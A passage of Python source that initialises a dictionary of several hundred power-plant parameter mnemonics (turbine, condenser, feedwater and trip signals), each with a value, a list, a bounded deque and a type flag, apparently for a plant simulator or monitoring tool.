'ZSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCTMT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HUCTMT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCTMT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DCTMT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'H2CONC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPEINP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XSEINP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPEOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XSEOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPMBAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XSMBAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPEBAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XSEBAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPMINJ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XSMINJ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XPMOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XSMOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ECVAG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ECVSG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ECVWL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HCVWL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCVRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TCVLOC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVRG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVRL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVHG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVH2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVRAD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVRR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZCVLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HCSRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HCSSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QCSLOC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCSLOC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCVSG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DRADRE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VKVOLS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKXFER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKXFER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EKTUB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKHPRH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKFLR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKTUB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VKRHTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KSTMDMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSHPCM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOLV314': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCLV314': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'HRHTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HRHDRN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV501': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV502': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PRHTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPTEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BRHSV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BRHCV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV314': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV514': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHTUB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHSTM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PRHDRN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HRHDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV108': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV208': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV308': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPTC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHTBY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHTBY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BSDMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PMSS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSTM1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSTM2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSTM3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BTV418': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HSDMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSDMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHDRN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BSDMPT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UERRI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UPTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSGLD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BDMPER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BDMPIE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WBHFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DSECON': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BSGBD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKFLOSS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKLLOSS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKFRIC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKACC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKFDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QKFUL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'LKDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'LKRDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKLDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKFM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKLM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKIDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKSET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKSET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'LKSET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'LKRSET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKHTFLR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKLTFLR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EKFFHT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EKFFLT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKHPWR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKLPWR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KOIL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTGR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSPDM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLDM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTBTRIP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KONLINE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELECF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSYNCF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTBREST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTSC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTLC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRUNBK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KD15AF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KD15BF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'QLOAD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QNET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PLPTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PHPTIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPRH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HHPRH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV033': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HLPTC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHTV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLTV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FRQGEN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FACCS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FTUBS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FTURB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLDSET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLRSET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHSV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLSV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FACCTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FERR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FAERR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FAINTG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLRATE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLERR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLRERR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLRINTG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QLDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BIDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FTUG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KN1EAO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KGENB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KN1EAA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KNETB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K1EAO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K1EAA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KDGAS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K1EBO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K1EBA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KDGBS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KN1EBO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KN1EBA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAUXNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEXCTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KB1EA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KB1EB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBN1EA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBN1EB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMOSTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMOREV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPHASE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTLOVS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTSIS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLOVS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBNE138': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTLOVSC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTSISC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'VNET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YNET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VRUNNG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VINCOM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FNET': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FANGLE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKAEJ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKAIRP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKVXT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKGS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CKAFLOW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EKTBW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKRS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VKCOND': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PKAIRL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKFCWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKBOTTM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKTAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKZTAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV177': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKTAH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKZTAH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV302': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV301': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKMINF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKCDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKCOND': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKCWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKSWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKCDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKTKCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKCNDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKAFWTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKBOTTC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KGSL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAIRP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAEJ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCDP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCDP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCDP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KVXT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOLV48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCLV48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOLV177': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCLV177': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'BHV301': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV302': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FSWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WTKAFW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FCDP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FCDP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FCDP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCOND': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCDPO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WTKCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCNDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAEJ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WVXT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HVXT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAIRP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WGSL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FCWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCWAT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCWIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCWOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ECOND': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCNDS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCNDS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PVAC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZCOND': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FEICDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZCNDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV177': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ECNDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EAFWTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZAFWTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAFWTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRAW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BV123': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BCMINV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PNCGAS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKRECV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKSTORV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKLPHV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKFWPBY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKHPHV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKFWCNT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PKFCDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PKFFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PKFHDTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKAFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKAFWT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKLPH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKHPH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EKTUBL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EKTUBH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKBOTLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKLPDRN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKLVL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKMXLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'AKBOTHP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKHPDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKMXHP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKLVH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKHPTC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV51': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV71': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKFCNT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKFBYP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKWFW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
